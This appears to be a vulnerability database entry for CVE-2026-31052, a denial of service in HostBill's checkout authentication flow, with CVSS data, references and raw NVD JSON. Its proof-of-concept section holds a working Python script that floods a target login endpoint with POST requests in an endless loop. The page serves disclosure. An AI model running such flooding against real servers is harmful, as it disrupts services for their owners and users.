CVE-2026-31052

Description

An issue in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to cause a denial of service via the Checkout Authentication Flow component

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

HostBill v.2025-11-24

HostBill v.2025-12-01

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-31052: HostBill Denial of Service
# This script demonstrates sending continuous requests to the vulnerable checkout flow.

TARGET_URL = "http://target-hostbill/index.php?m=checkout&step=authentication"

def send_malicious_requests():
    headers = {
        "User-Agent": "Mozilla/5.0 (PoC-Scanner/1.0)",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    # Payload simulating a checkout authentication request
    payload = {
        "username": "admin",
        "password": "randomdata",
        "btn_login": "Log+In"
    }

    try:
        print(f"[!] Starting DoS attack on {TARGET_URL}")
        while True:
            # Send POST requests continuously to exhaust resources
            response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=5)
            if response.status_code == 200:
                print("[+] Request sent, server responding...")
            else:
                print(f"[-] Server returned status code: {response.status_code}")
    except KeyboardInterrupt:
        print("\n[*] Attack stopped by user.")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    send_malicious_requests()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31052
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31052
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31052/
[4] VulDB https://vuldb.com/cve/CVE-2026-31052
[5] https://blog.hostbillapp.com/2025/12/03/hostbill-security-advisory/
[6] https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Rate%20Limit%20Bypass/Description
[7] https://hostbillapp.com/changelog
[8] https://hostbillapp.com/release-notes/11-27-2025.html
[9] https://hostbillapp.com/responsible-disclosure
[10] https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Rate%20Limit%20Bypass/Description

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31052", "sourceIdentifier": "[email protected]", "published": "2026-04-24T15:16:27.210", "lastModified": "2026-04-24T17:55:55.317", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to cause a denial of service via the Checkout Authentication Flow component"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://blog.hostbillapp.com/2025/12/03/hostbill-security-advisory/", "source": "[email protected]"}, {"url": "https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Rate%20Limit%20Bypass/Description", "source": "[email protected]"}, {"url": "https://hostbillapp.com/changelog", "source": "[email protected]"}, {"url": "https://hostbillapp.com/release-notes/11-27-2025.html", "source": "[email protected]"}, {"url": "https://hostbillapp.com/responsible-disclosure", "source": "[email protected]"}, {"url": "https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Rate%20Limit%20Bypass/Description", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}